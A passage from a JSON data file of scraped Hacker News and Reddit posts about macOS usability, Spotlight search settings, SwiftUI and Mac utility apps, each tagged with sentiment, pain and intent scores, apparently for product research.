macOS tends to use the arrow keys for this, with various modifiers. Command + the arrow moves to the start or end of things (documents or lines), Option will be at the word or line level. Adding Shift to either of those will highlight those regions.","url":"https://news.ycombinator.com/item?id=46803136","role":"pain","weight":0.7941778,"occurredAt":"2026-01-28T23:17:25.000Z","sourceKey":"hackernews","sourceName":"Hacker News","credibility":0.7,"venue":"news","intent":"feature_request","painScore":0.42666668,"sentiment":-0.16666667,"confidence":0.5566667,"matchedPatterns":["missing_feature"],"statement":"If I move an app to the bottom right corner the OS will helpfully move it back up I think this has to do with the horizontal area the Dock is on being protected for lack of a better word, so nothing gets trapped behind the Dock.","title":null,"body":"> Home/End don't work correctly (external keyboard).
macOS tends to use the arrow keys for this, with various modifiers. Command + the arrow moves to the start or end of things (documents or lines), Option will be at the word or line level. Adding Shift to either of those will highlight those regions.
> Cmd-Tab switching between applications instead of windows is utterly stupid.
I've never been a cmd-tab user, so I don't notice thins. Once Exposé (now Mission Control) came out, I just stuck with that. I bind it to an extra button on my mouse.
> The toolbar is far from the window, leading to extra mouse movements.
The reason for this dates back to the original design of the Lisa. Bill Atkinson explains it in this video. It's a trade off between having issues with menus when windows are small, and having to move more. I believe this is why they added mouse acceleration, so no matter where you were, you could get up to the menus fairly quickly.
https://youtu.be/Qg0mHFcB510?si=yc0uCunQiMufGc75&t=416
> There is no maximize button, instead it's a full screen button.
They're starting to get better on this. The full screen button has a menu to do many things, and one of them is to maximize (they call it Fill). You can also just drag the window to the top edge to maximize it, like Aerosnap on Windows.
> If you manage to get a window off-screen, there's almost no way to get it back
Windows > Center, will bring the active window to the center of the screen.
> I click on Launchpad and find it, but you can't right click on any of the icons in there to do anything with them.
You can drag icons from LaunchPad to the Dock to add them. They'll still be where they were in LaunchPad, but now also in the Dock for quick access. LaunchPad is gone in macOS 26 though, so you can either right-click it in the Dock while it's there to tell it to keep in there (or just drag it over to the left and it will remember it)... or find it in Finder /Applications/Utilities/Screenshot
> I can not for the life of me figure out how to go up one level in a directory.
I usually show the Path Bar whenever I get a new Mac. In Finder, View > Show Path Bar. This shows your path at the bottom of the Finder window. You can click on any parent directory to go to it.
If you don't want to do that, or want another way, right-click the folder name at the top of the Finder window. This will show you a dropdown menu of all the parent directories, pick however far you want to go up the tree.
> If you have two monitors you can't have an app halfway across both of them, it's always on one of the order.
This one annoys me a bit too, and can lead to that window off-screen thing you mentioned earlier. It's one of the reason I went with a large primary monitor instead of having 4 external displays, like I had before.
> If I move an app to the bottom right corner the OS will "helpfully" move it back up
I think this has to do with the horizontal area the Dock is on being "protected" for lack of a better word, so nothing gets trapped behind the Dock. I agree, that having it do this for off-screen windows would be nice.
> When you drag a window sometimes you get this white outline that will resize the window for your screen
This is what I mentioned earlier to maximize. It works pretty much like on Windows. It activates not when the window hits an edge, but when your mouse cursor that is holding a window hits an edge.
Top edge: Maximize\nSide edge: Half the screen\nCorner: 1/4 of the screen
By default there will be gaps between these tiled windows, which some people don't like. You can remove the gaps in the Settings.
> When you drag a window from a larger monitor to a small one, it will resize it
I think this has to do with scaling of the monitors, or just that one monitor is dramatically smaller. My main setup is a laptop + a large monitor. The windows on my main display are bigger than the entire laptop screen, so it makes them smaller so they fit.
> Every single time I reboot, if I have to unplug my external monitor, and keyboard, login, then plug them back in. Otherwise it refuses to talk to them.
On my work setup I use an CalDigit dock and I occasionally have this happen after a big upgrade. I don't have to disconnect everything, I just have to login using my laptop, then trust the dock.
On my home setup, I use my monitor as the dock for my mouse and keyboard. With this, every time I reboot I need to login with the laptop and then approve the monitor as the dock for the other things to work. I don't have to unplug/replug anything (thankfully).
I tried looking into this once or twice. People online talked about various trust settings, but nothing seemed to stick. I really only reboot when there is an update, so it's pretty infrequent. If I was rebooting daily I'm sure it would drive me insane, to the point where I'd stop using the monitor as a dock.","offTopic":true},{"id":"0ed8ffd6-81cc-4314-9500-ce6fd9b816f6","excerpt":"Before Replacing Spotlight, Fix These Mac Search Settings — Spotlight gets blamed for problems that are often really three different problems: it is showing too much, it is not indexing a place you expect, or the search is being asked to do a job it does not support.\n\n**Verdict:** give the built-in tool a short, delibe","url":"https://www.reddit.com/r/MacStack/comments/1vud9jz/before_replacing_spotlight_fix_these_mac_search/","role":"pain","weight":1.2938386,"occurredAt":"2026-08-21T11:06:33.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"MacStack","intent":"feature_request","painScore":0.80840874,"sentiment":-1,"confidence":0.71545696,"matchedPatterns":["terrible","missing_feature"],"statement":"Spotlight gets blamed for problems that are often really three different problems: it is showing too much, it is not indexing a place you expect, or the search is being asked to do a job it does not support.","title":"Before Replacing Spotlight, Fix These Mac Search Settings","body":"Spotlight gets blamed for problems that are often really three different problems: it is showing too much, it is not indexing a place you expect, or the search is being asked to do a job it does not support.\n\n**Verdict:** give the built-in tool a short, deliberate reset before installing another launcher. On macOS Tahoe 26, Spotlight can search apps, files, actions, and Clipboard history, and it has useful filters. It is enough for a lot of people once its categories and indexing are sensible. Install another tool only if you can name the missing workflow after doing that, not just because Command-Space felt noisy once.\n\n## First, identify the kind of bad result\n\nDo not start by turning everything off.\n\n* **Too many irrelevant result types:** tune the result categories.\n* **A known file or folder never appears:** inspect Search Privacy, then consider rebuilding its index.\n* **The right result is buried:** use a Browse Mode or a filter rather than making the entire index smaller.\n* **You want to run something, not find something:** check Spotlight Actions and Shortcuts before adding a separate command palette.\n\nThat distinction matters. Disabling categories will make a search look cleaner, but it will not repair an excluded or stale location.\n\n## Make the result list match what you actually search for\n\nOpen **Apple menu > System Settings > Spotlight**. In Tahoe, the settings separate results from apps, results from the system, and Clipboard Search. Turn off only categories that repeatedly get in the way. A category you never use is a reasonable candidate. Mail, Messages, reminders, and documents may not be, even if they clutter a one-word search today.\n\nClipboard Search deserves a conscious choice. It lets prior clipboard contents appear in Spotlight, which can be convenient for a copied link or snippet but may be unwelcome on a shared screen. Turn it off if that tradeoff is not worth it.\n\nThe same page also offers a way to delete Spotlight search history. That is useful if old searches are the thing you do not want surfaced. It is separate from hiding a result category.\n\n## Check Search Privacy before assuming indexing is broken\n\nAt the bottom of the Spotlight settings, open **Search Privacy**. Anything listed there is excluded from Spotlight searches. Remove only a folder or disk that you intentionally want searchable again.\n\nThis is a useful boundary for an archive, a work volume, or a folder with material you do not want popping up in a presentation. It is not a harmless general cleanup switch. Apple notes that excluding files and folders can also stop update notifications for some apps, and excluding the whole internal disk stops all update notifications. Time Machine backup disks have their own special indexing behavior, so do not use them as a test case for ordinary search results.\n\nIf a location should be searchable but still returns unexpected results, rebuild only that folder or disk's index: add it to Search Privacy, wait a few seconds, then remove it. macOS will index it again. Apple says this can take time and may show an indexing progress indicator. If macOS reports an ownership or permission error, solve that access issue instead of repeatedly toggling the setting.\n\n## Use the newer search controls before adding another launcher\n\nOn Tahoe, Command-Space is more than an app-name field:\n\n* Press Command-1 for Applications, Command-2 for Files, Command-3 for Actions and Shortcuts, or Command-4 for Clipboard.\n* Type `kind:pdf` before a term to focus on PDFs. Other documented kinds include folders, images, mail messages, calendar events, and settings.\n* Type a location such as `iCloud Drive`, press Tab, then search for a file name to search within that location.\n* For a repeated action, Spotlight can run built-in actions and available shortcuts. A quick key can be assigned after finding an action.\n\nThese controls are a better answer to a broad search than hiding useful data globally. They also make it clearer whether your problem is really search, app launching, or a routine you want to automate.\n\n## Version and hardware limits still matter\n\nThis advice is written for macOS Tahoe 26. Apple lists some Intel Macs among Tahoe-compatible hardware, but also warns that some features vary by model, language, and region. Do not assume every Tahoe capability is present on every compatible Mac.\n\nApple Intelligence has its own requirement: an M1 or later Mac, current software, supported language settings, and enough on-device storage. That is relevant if an Apple Intelligence feature is part of the workflow you expected. It is not a reason to assume ordinary Spotlight indexing, category settings, and Search Privacy need a new Mac.\n\nIf you are on an earlier macOS release, the labels can differ. Apple documents the reindexing path as Spotlight or Siri & Spotlight in System Settings on Ventura and later, while older releases use System Preferences and a Privacy tab.\n\n## When a third-party tool is still the right call\n\nThere is no prize for forcing Spotlight to become a different class of utility. A separate launcher can be justified when the missing piece is specific: a custom web-search template, a multi-step keyboard workflow, a plugin ecosystem, deep file metadata queries, or a workflow that must work independently of Spotlight's ranking.\n\nBut start with this test:\n\n1. Re-enable the file and app categories you genuinely need.\n2. Remove accidental Search Privacy exclusions.\n3. Reindex one affected location if the results are still wrong.\n4. Try a Browse Mode or `kind:` filter for the next search that annoyed you.\n\nIf that still leaves a repeatable gap, choose a tool for that gap. If it fixes the problem, keeping the built-in search costs nothing, adds no separate setup, and leaves one less app competing for the same keyboard habit.","offTopic":true},{"id":"312a7148-edcd-426e-8c2a-13910fb78c52","excerpt":"Imagin Raw - a lightweight alternative to Adobe Bridge — I build an extremely lightweight version of Adobe Bridge dedicated to culling raw files. I've used Bridge all my life because i hate importing photos in a black boxed app like Lightroom & CO, but Bridge is very heavy (and still on intel at the time i stopped upgr","url":"https://www.reddit.com/r/MacOS/comments/1ugww6p/imagin_raw_a_lightweight_alternative_to_adobe/","role":"demand","weight":1.146899,"occurredAt":"2026-06-27T08:08:57.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"MacOS","intent":"alternative_search","painScore":0.485,"sentiment":-0.2,"confidence":0.77232254,"matchedPatterns":["i_hate","alternative_to"],"statement":"Imagin Raw - a lightweight alternative to Adobe Bridge.","title":"Imagin Raw - a lightweight alternative to Adobe Bridge","body":"I build an extremely lightweight version of Adobe Bridge dedicated to culling raw files. I've used Bridge all my life because i hate importing photos in a black boxed app like Lightroom & CO, but Bridge is very heavy (and still on intel at the time i stopped upgrading), so i took the layout and improved on its functionality and got it under 10Mb and low memory footprint.\n\n[https://apps.apple.com/app/imagin-raw/id6760548347?mt=12](https://apps.apple.com/app/imagin-raw/id6760548347?mt=12)\n\n**Features**: \n\\- 100% native, SwiftUI and AppKit for thumbnails \n\\- give access only to the folders you want, individual folders, or the entire Photos folder for the best experience \n\\- rating and labeling compatible with Adobe sidecars. For jpegs it is done in the file without reencoding it \n\\- reject photos then delete all at once \n\\- copy photos from sd cards in 2 simultaneous locations. Many options to rename and organize into subfolders are available. \n\\- find duplicates and similar photos and view them in Review mode, much easier to decide which to keep or delete than going back and forth in the main view between similar images. \n\\- search for files and folders using the macOS spotlight engine, your photos are not indexed by the app and stored in proprietary DBses \n\\- add black frame around your exported photos and reexport as tiff, this is to fit 2:3 photos in 3:4 format for instagram. \n\\- purge the cache on individual folders or all at once (in case you try the app and decide it’s trash)","offTopic":false},{"id":"84492ba4-136a-4e30-94e4-655e28444fc9","excerpt":" — SwiftUI has a bunch of problems but almost none of them have anything to do with what this guy has to say :( Like, there are issues with almost every point:
> We started with @State, @Binding, and ObservedObjects. Then Apple realized the performance was disastrous and SwiftUI was re-rendering views all the time","url":"https://news.ycombinator.com/item?id=49154470","role":"request","weight":0.77376664,"occurredAt":"2026-08-03T11:44:46.000Z","sourceKey":"hackernews","sourceName":"Hacker News","credibility":0.7,"venue":"news","intent":"problem_report","painScore":0.39,"sentiment":0.8333333,"confidence":0.5566667,"matchedPatterns":["workaround"],"statement":"For all these scenarios, developers usually come up with their own hacks and workarounds.","title":null,"body":"SwiftUI has a bunch of problems but almost none of them have anything to do with what this guy has to say :( Like, there are issues with almost every point:
> We started with @State, @Binding, and ObservedObjects. Then Apple realized the performance was disastrous and SwiftUI was re-rendering views all the time. That’s when it introduced the Observation framework and the @Observable macro. They tried to solve the problem with compiler tricks, but it clearly wasn’t enough so the layout engine continued its guessing games.
Not why @Observable was introduced
> In SwiftUI, you can never know for sure how many times a view will update and, when it does, why it chose to.
Instruments tells you these days
> That demo project from the SwiftUI tutorial has a very standard, non-custom one. You build the project with the latest Xcode and launch the app on the latest macOS—only to get this.
Yeah, it's a demo marked as "this is old, please do not use it"?
> What is a SwiftUI problem is the overall fragility of UI layouts. They fall apart in the most unexpected ways and at the most unfortunate moments. You can see it in the very real, production apps like UTM. It’s a fantastic piece of engineering, but its reliance on SwiftUI sometimes makes it feel like an early prototype.
This is an app written by someone who spends most of their time writing graphics APIs I think the fact that they can do something half-decent is really a testament to how approachable SwiftUI is
> In the end, you find yourself wrapping everything in a GeometryReader. And this is the ultimate admission of defeat.
No I only use GeometryReader when I actually want to do some coordinate math
> Okay, maybe you want to let your users customize the window toolbar, just as they could since 2001 (or something like that). Well, SwiftUI received this “breakthrough” feature only a few years ago.
iOS 14 my guy, this is literally one year after SwiftUI was released
> And then there’s the most basic task: displaying images you fetched from the network. Well, you better write your own fetcher, because AsyncImage was introduced only in iOS 15.
Can you point me at the API in UIKit that lets you do this?
> But if you want to also cache those images, I’ve got bad news for you: You can’t do it at all because right now, in July 2026, this API is still in beta.
Or this?
> For all these scenarios, developers usually come up with their own hacks and workarounds.
Yeah, it's called "you download one of a handful of libraries to do it for you". Now you don't have to do that.","offTopic":true},{"id":"3df47b4f-f11e-41c0-8f21-fa0022f02309","excerpt":"Switching to MacOS after 15 years of Windows ! M4 pro, 48 GB, 16 inch. — Hello everybody!\n\nIntroduction: \nAfter a long decision, weeks and months of researching, I have decided to give Apple a chance and try their MacBook and ecosystem. I have been using Apple products for two and a half years, starting with my first ","url":"https://www.reddit.com/r/macbookpro/comments/1n74wg7/switching_to_macos_after_15_years_of_windows_m4/","role":"demand","weight":1.1381329,"occurredAt":"2025-09-03T04:02:29.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"macbookpro","intent":"alternative_search","painScore":0.21077973,"sentiment":0.8333333,"confidence":0.94,"matchedPatterns":["wish","alternative_to","switching_from","manual_process","praise"],"statement":"I am also unsure which applications to install as alternatives to Windows apps, so I would appreciate any advice.","title":"Switching to MacOS after 15 years of Windows ! M4 pro, 48 GB, 16 inch.","body":"Hello everybody!\n\nIntroduction: \nAfter a long decision, weeks and months of researching, I have decided to give Apple a chance and try their MacBook and ecosystem. I have been using Apple products for two and a half years, starting with my first iPhone bought in February 2023, a simple iPhone 14. Since then, I could not go back to Android or any other brand. I decided to give this a shot, and I hope that others reading my post might relate to some of the thoughts I had.\n\nI plan to use the MacBook mostly for video editing, coding, and sometimes a bit of old school gaming. Yesterday, I received my first MacBook Pro M4, and it is really awesome! I debated between the Silver and Black colors, and it was a tough choice. In the end, I went with Silver because all my previous laptops were black, and I wanted something different. I wanted a laptop for the long term, so I decided to invest a bit more, around $2700 with taxes, for a new box unit with 1-year AppleCare during Labor Day discounts.\n\nHardware: \nThe color amazed me. It is not typical gray; it is a subtle mix between pearl white and gray, and I really love it. On the back cover where the Apple logo is, I noticed a lot of fingerprints, which I could barely clean with a microfiber cloth. I can’t imagine how noticeable they would be on a black model. At least my palms do not leave too many marks.\n\nThe screen is amazing. At first, I thought it was OLED because I had not looked closely at the specs, and I was thrilled to discover it is actually Mini-LED with 1600 nits. Imagine switching from an IPS display with a maximum of 300 nits to this. It is a huge improvement.\n\nAnother pleasant surprise was the battery. It handles multiple applications, even games, while maintaining constant FPS, no stuttering, lag, or overheating. I have used gaming laptops before, and without the power cord, they were practically useless. My previous laptop was an Alienware m18 R2 with a 4090 and 64 GB RAM, which I sold after a few months. Comparing that to the MacBook, there is no competition, especially considering how light it is. I have also used HP OMEN laptops, but the motherboard eventually failed after six years. I have been using laptops for around 13 years since I was 12, and I had a basic PC before that.\n\nThe speakers are very loud, and the bass is really clear. I love it. The keyboard feels nice and comfortable to use. It is not loud and has a pleasant typing experience. One minor con for me is the laptop’s corners. If you do not have a sleeve or case, they can be slightly uncomfortable. But the corners are rounded, not sharp like most laptops, so it is okay. I prefer using the built-in keyboard instead of carrying an external one.\n\nThe camera and microphone are 10 out of 10. I have had video calls on WhatsApp with my relatives, and the quality feels amazing. I did not have this level of quality even on a $3000 laptop. And yes, you can modify the background.\n\nSoftware: \nThe initial setup was fast, about 10 minutes. I created a user account, logged into iCloud, and confirmed via my phone. The first thing I noticed was the amazing synergy with my iPhone. Photos and videos look stunning, far better than on [iCloud.com](http://iCloud.com) via a browser. The sync is very fast.\n\nThe operating system was a bit confusing at first, but I quickly learned the trackpad gestures. It is the best trackpad I have ever used. The right click at the bottom right feels slightly far compared to normal trackpads, but I am getting used to it. Everything runs smoothly, even with 20 applications open, no delays at all. Spotlight is perhaps the most useful feature. It surpasses Windows search in every way, making workflow much easier.\n\nI am getting used to command shortcuts and quickly found equivalents for basic Windows commands like Alt F4 or Alt Tab. Some shortcuts are a bit tricky to memorize, but I am learning. I am still figuring out what Option and Control exactly do. I know the FN key can be toggled on or off. I wonder if there is a way to create application specific macros to use standard F1 to F12 keys in some apps and function keys in others without manually toggling.\n\nThere is still a lot to learn, but I am confident that within a few weeks I will be using the MacBook at its full potential. I am also unsure which applications to install as alternatives to Windows apps, so I would appreciate any advice. This is a whole new world for me.\n\nI wish you all a great day. I will update this post in a few months with more impressions, pros, and cons.\n\nEdit: Fixed typos, another clear photos. / had previous post.","offTopic":true},{"id":"7ea8e202-57b9-4b3b-a79f-dadb46094396","excerpt":"[OS] Sxitch v1.4 - customisable alternative to macOS Cmd + Tab — Hi! I'm [Umang Surana](https://umangsurana.com)! Developer of [rustcast](https://rustcast.app), and since May, I've been working on [Sxitch](https://sxitch.app). (pronounced Switch)\n\n# Problem:\n\nI'm addicted to keyboard driven setups, but switching betwee","url":"https://www.reddit.com/r/MacOS/comments/1vvca96/os_sxitch_v14_customisable_alternative_to_macos/","role":"demand","weight":1.1277761,"occurredAt":"2026-08-22T13:20:16.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"MacOS","intent":"alternative_search","painScore":0.36,"sentiment":0,"confidence":0.8292472,"matchedPatterns":["doesnt_work","alternative_to","missing_feature"],"statement":"[OS] Sxitch v1.4 - customisable alternative to macOS Cmd + Tab.","title":"[OS] Sxitch v1.4 - customisable alternative to macOS Cmd + Tab","body":"Hi! I'm [Umang Surana](https://umangsurana.com)! Developer of [rustcast](https://rustcast.app), and since May, I've been working on [Sxitch](https://sxitch.app). (pronounced Switch)\n\n# Problem:\n\nI'm addicted to keyboard driven setups, but switching between apps and windows has always been a pain.\n\n# Comparisons:\n\n**Default macOS Cmd Tab:**\n\nThe default macOS CMD Tab does offer a really nice solution, allowing you to cycle through your running apps but this doesn't work with muscle memory. (and it lacks the customisability that Sxitch offers)\n\n**Raycast / Alfred / Launchers (like spotlight):**\n\nSxitch's main goal is to let you sxitch between apps quickly and easily, not launch them. Although you can launch apps, it doesn't offer searching / calculations, and instead if just like a tiny launchpad\n\n# My solution:\n\nSxitch integrates with your muscle memory because the same set of keypresses will always lead to the same app. You simply trigger Sxitch and `m` will go to Music, and if mail is also open, then Mu for music, and Ma for mail. And if you have multiple windows open, select the app then the window.\n\n# Highlighted features:\n\n* Custom modes (new in v1.4)\n * Add apps that you frequently need to open / close to an easy access list\n * Put custom icons and names\n* Strip off vendor prefixes (microsoft word -> word, etc.)\n* Radial view, List view and a grid view\n* Customisable window position\n\n(Only in pro plan):\n\n* Hide and quit apps\n* window picker\n* App launching from hotkeys\n* Key remapping (for Sxitch only)\n* unlimited modes (free version has 1 free mode)\n\n# Pricing\n\n* $2/mth for 5 months.\n* $5 for students\n* $10 one time purchase.\n\nAvailable at [https://sxitch.app](https://sxitch.app)\n\nDownload from homebrew also supported:\n\n brew tap unsecretised/tap\n brew trust unsecretised/tap\n brew install --cask sxitch\n\n# Frequently asked questions:\n\n- How does it compare against apps like Dory and RCMD?\n> Dory and RCMD are both awesome apps. Sxitch however supports both using the mouse to select apps and typing, hence getting functionality from both Dory and RCMD, while also allowing you to hide and quit apps from it. All while being open source. \n\n- Can I assign an exact sequence to an app?\n> in v1.4 you can do this in 2 ways, custom modes (and change the apps name to be the key sequence) or setting up key remaps (where typing s can be set to explicitly mean spotify). However, in v1.4.1, I plan on adding the ability to rename apps which will allow you to do this. \n\n- How does window selection work?\n> Say you have 3 windows open for ghostty. You simply select ghostty first, and if you have the window picker enabled, then Sxitch will show you the available windows for you to select.\n\n# About the dev:\n\nPersonal website: [https://umangsurana.com](https://umangsurana.com)\n\nApp is signed, notarized native (swiftUI).\n\nSource code can be found at [https://github.com/MystikoLab/sxitch](https://github.com/MystikoLab/sxitch)","offTopic":false},{"id":"cd332571-b11a-4c2b-82b6-15114077c67b","excerpt":" — Tahoe has destroyed macOS performance. I’m running a maxed out last gen intel and was getting stuttering and slide showing straight out of the update. It was completely unusable until I turned on reduced transparency.
Colleagues on much better spec’d M1/2/3 all noted similar, but not quite so drastic, sl","url":"https://news.ycombinator.com/item?id=49405474","role":"pain","weight":0.532,"occurredAt":"2026-08-23T01:31:44.000Z","sourceKey":"hackernews","sourceName":"Hacker News","credibility":0.7,"venue":"news","intent":"other","painScore":0.4,"sentiment":-1,"confidence":0.38,"matchedPatterns":[],"statement":"Tahoe has destroyed macOS performance.","title":null,"body":"Tahoe has destroyed macOS performance. I’m running a maxed out last gen intel and was getting stuttering and slide showing straight out of the update. It was completely unusable until I turned on reduced transparency.
Colleagues on much better spec’d M1/2/3 all noted similar, but not quite so drastic, slow downs.
The hugest issue is search appears to be universal broken. Spotlight doesn’t work, finder doesn’t work, email doesn’t work. The other day I had to login to Gmail through the web app for the first time in about 5 years to find an email I knew existed that mail decided didn’t exist.
Insult to injury is the search indexing service appears to be somewhat responsible for slowdowns. It’s right up there with the famous “windows updating in the background” slowdowns.","offTopic":false},{"id":"910ce2f4-95f6-4e9d-a662-ba92b1b62517","excerpt":"Iris: The Mac Photo App for People Who Don't Trust iCloud With 80,000 Photos — https://preview.redd.it/12j89iao00fh1.jpg?width=1534&format=pjpg&auto=webp&s=b76f4e956dd9c62f8fa23f8159a08fd89262af86\n\nTL;DR: Iris is a Mac photo viewer that indexes photos where they already exist (folder, external drive, or your existing A","url":"https://www.reddit.com/r/macapps/comments/1v4hv55/iris_the_mac_photo_app_for_people_who_dont_trust/","role":"request","weight":1.0804749,"occurredAt":"2026-07-23T15:53:12.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"macapps","intent":"feature_request","painScore":0.3,"sentiment":0.3529412,"confidence":0.8311345,"matchedPatterns":["free_tier","missing_feature"],"statement":"It's the closest one-time-purchase competitor, but it's more of a classic viewer/editor and lacks Iris's on-device face recognition and video transcription.","title":"Iris: The Mac Photo App for People Who Don't Trust iCloud With 80,000 Photos","body":"https://preview.redd.it/12j89iao00fh1.jpg?width=1534&format=pjpg&auto=webp&s=b76f4e956dd9c62f8fa23f8159a08fd89262af86\n\nTL;DR: Iris is a Mac photo viewer that indexes photos where they already exist (folder, external drive, or your existing Apple Photos library) instead of importing them into a managed database. It does on-device face recognition, OCR/speech search, and a real map (Photo Trails) that plots every geotagged photo so you can browse by location. No cloud, no account, no subscription; one-time purchase, 14-day trial. It's a viewer, not an editor, so RAW/Lightroom workflows aren't the target use case.\n\n# Iris\n\n[Tyler Hall](https://tyler.io/) has a new app, [Iris](https://irisphotos.app/), a photo management app built for a very specific kind of workflow. I am a Tyler Hall fan. He is a respected Mac developer with a proven track record operating [a one-person shop](https://retina.studio/) out of Richmond, VA. Longtime Mac folks will remember his web-developer tool VirtualHostX; he sunset that in 2021 and rebuilt around a small set of native, single-purpose apps. The rest of his catalog is made up of the kind of apps I love:\n\n* [TextBuddy](https://retina.studio/textbuddy/) ($19): a Swiss Army knife for plain text; faster than opening your IDE, easier than remembering the right command-line incantation.\n* [Fastmarks](https://retina.studio/fastmarks/) ($9): search and open your browser bookmarks from anywhere with one hotkey, 100% keyboard-driven. This is exactly the kind of friction-remover I adore.\n* [Ears](https://retina.studio/ears/) ($9): an instant audio-output switcher for hopping between speakers, AirPods, and that one weird USB mic.\n* [Steve](https://retina.studio/steve/) (free): a casual daily puzzle game for when you need to not be productive for five minutes.\n\nYou can get Iris for free, believe it or not. All you have to do is [donate $20 to any one of a variety of causes](https://irisphotos.app/do-good/) and submit a receipt. (Includes St. Jude's Children's Hospital, The Electronic Frontier Foundation, 988 Suicide & Crisis Lifeline, and others.)\n\nAs a certified old person, I have been accumulating digital photography a lot longer than I've had an iPhone. I have over 80,000 photographs from a variety of sources: scans of black-and-white images from past decades of family history, GBs of DSLR images taken with my full-frame Canon Mark V, and a mishmash of images from an assortment of old-school digital cameras and vintage cell phones. An iCloud-based Apple Photos library is a handy tool for day-to-day management of a current working set of photos, screenshots, and downloads, but it's not the tool I would recommend to anyone with a collection like mine, for some very clear reasons:\n\n* Anyone who thinks it's impossible to lose access to their Apple account through no fault of their own is living in denial. A quick web search will give numerous examples of this rare but real nightmare.\n* Likewise, accidental deletions of iCloud photos happen on the regular, even to experienced users. A quick trip to r/iCloud on Reddit will show you a whole collection of broken hearts tied to this occurrence.\n* Apple Photos is a prime example of Apple's \"We know what's best for you\" management style. While not exactly impenetrable, it's pretty close to a walled garden where your photos are swallowed by a single .photoslibrary database that Apple really doesn't want you messing with.\n\nIris takes the opposite bet. It points at wherever you store your photos: a folder, an external drive, or even your existing Apple Photos library in read-only mode. It never moves, copies, or modifies a single original. Then it builds its own fast, intelligent index on top of what's already there and gives you the good stuff (on-device face recognition, a real map, text and speech search) without asking you to hand over your files or your privacy. It doesn't need a cloud account or a subscription.\n\nIris itself has a long runway behind it. It began as a project called AntiPhoto back in November 2020, and a lot of the multi-year effort went into an unglamorous problem: making a six-figure photo library scroll smoothly. Tyler hit a documented milestone in April 2022 of smoothly scrolling a 101,706-item library. That's the difference between a demo and a tool, and it's why the app feels the way it does. It's also worth knowing that Apple initially rejected Iris from the App Store; it's since made it in, and you can buy it there or direct.\n\n# Five features that matter to a Mac power user\n\n* **Filesystem-first, read-only, non-destructive:** Iris reads your existing folders or Apple Photos library and leaves the originals exactly where they are. Your library is still just files you own; Iris is a lens, not a container.\n* **On-device face recognition**: faces are recognized locally using Apple's own ML frameworks. Nothing leaves the Mac, and Iris will even show a person's age in a shot, calculated from their birthday.\n* **A real map with Photo Trails:** every geotagged photo gets plotted; you can jump to nearby photos, bookmark favorite locations, and retrace where you actually were on a given trip.\n* **Search that reads your photos and listens to your videos:** Iris runs OCR on text inside images and transcribes speech in videos, then makes all of it searchable. This is how you find the whiteboard photo or the receipt you swore you kept.\n* **No cloud tax:** .Your Mac stays the source of truth: no re-uploading, no cloud account, no second subscription. And the app itself is a one-time purchase. (iOS companion app is in the approval process).\n\nThis is an app made by a developer who is passionate about quality and principles, so much so that the Iris website features a manifesto that lays out a set of principles and explains: \"Iris is not an app for professional photographers. It's also not an app for people who snap photos with their phone, upload them to Facebook, and forget about them. Iris is for people who care about their photos and videos and believe they're worth safeguarding in a private, future-proof format that will outlive their grandchildren. Iris is for family historians and archivists.\"\n\nRather than paraphrase the feature set, I recommend [just going to the website ](https://irisphotos.app)and reading it over.\n\nTo demonstrate why this is a special app made by a special type of developer, let me share this story. I've been following the development of Iris since before it was publicly released. Tyler contacted me, but not as part of a marketing campaign to get publicity. He just wanted feedback on the app's quality. After the release, when the initial (and expected) bug reports filtered in, he had this experience and shared it with me.\n\n>\n\nHopefully, I've made it clear who this app is for.\n\nBut it's not for everyone, of course. Iris is explicitly a viewer, not an organizer or editor; if you shoot RAW and work in Lightroom Classic, Iris shows the original unedited file and ignores your catalog's edits and metadata, so it isn't a replacement for that workflow. If Apple Photos already works for you and you're happy in iCloud, the built-in app is free and covers the same three headline features. And Tyler is candid that Iris can still have performance hiccups on complex searches and truly massive libraries, so if your collection is enormous, take the 14-day trial for a real spin before you buy.\n\n# How it compares\n\nMy focus is on helping people find the right app, not talking anyone into using something just because I like it. To that end, I usually try to list alternatives.\n\nThe features Iris bundles are not, individually, unique. Face recognition, maps, and photo search are all just features inside larger apps; Apple Photos ships all three for free, and pro catalogs like Lightroom and Peakto fold them into much heavier tooling.\n\n* **Apple Photos** (free, built-in): the incumbent Iris wants to replace. It already does faces, maps, and search well, but it imports your photos into a managed library and steers you toward iCloud storage. If that model already suits you, the built-in app is free and fine; Iris is for people who specifically don't want the walled garden.\n* **Lyn** (\\~$20 one-time, [lynapp.com](https://www.lynapp.com/)) \\[Verify This\\]: a lightweight, long-running image browser that reads folders and even Aperture/Photos/Lightroom libraries, and adds actual non-destructive editing. It's the closest one-time-purchase competitor, but it's more of a classic viewer/editor and lacks Iris's on-device face recognition and video transcription.\n* **digiKam** (free, open source, [digikam.org](https://www.digikam.org/)): the power-user's DAM, with faces, tags, geotagging, and duplicate detection, and it can even live on a NAS. It's the most capable free option by a mile, but it's cross-platform, not very Mac-native, and considerably heavier to learn. This is what I use for my own heavy lifting.\n* **Mylio Photos** (free tier; Photos+ $99.99/year, [mylio.com](https://mylio.com/)): also filesystem-based, and syncs across your devices without cloud storage fees. Broader in scope than Iris, but the features most people want tend to sit behind the subscription.\n* **Peakto** (subscription \\~$10/month or a \\~$270 lifetime license, [cyme.io](https://cyme.io/)): AI cataloging and search that spans multiple folders and editing catalogs at once. Powerful, but subscription-priced and aimed at working photographers rather than someone who just wants their family archive to make sense.\n\n# ","offTopic":true},{"id":"6b1bc178-8c19-41ac-9c73-b380ef8fc5b3","excerpt":"Floodtide - Update all your mac apps from one place — Been working on a Mac app updater for the last few weeks called Floodtide.\n\n\n\nIt scans the apps in your Applications folder, checks if there are newer versions available, and lets you update them from one place.\n\n\n\nThe annoying part was actually not finding updates,","url":"https://www.reddit.com/r/osx/comments/1vw6pvh/floodtide_update_all_your_mac_apps_from_one_place/","role":"demand","weight":0.979515,"occurredAt":"2026-08-23T13:05:41.000Z","sourceKey":"reddit","sourceName":"Reddit","credibility":0.62,"venue":"osx","intent":"tool_discovery","painScore":0.41352943,"sentiment":-0.05882353,"confidence":0.6929569,"matchedPatterns":["cant_find","frustrating"],"statement":"The annoying part was actually not finding updates, it was working out what to show when Floodtide couldn't find anything.","title":"Floodtide - Update all your mac apps from one place","body":"Been working on a Mac app updater for the last few weeks called Floodtide.\n\n\n\nIt 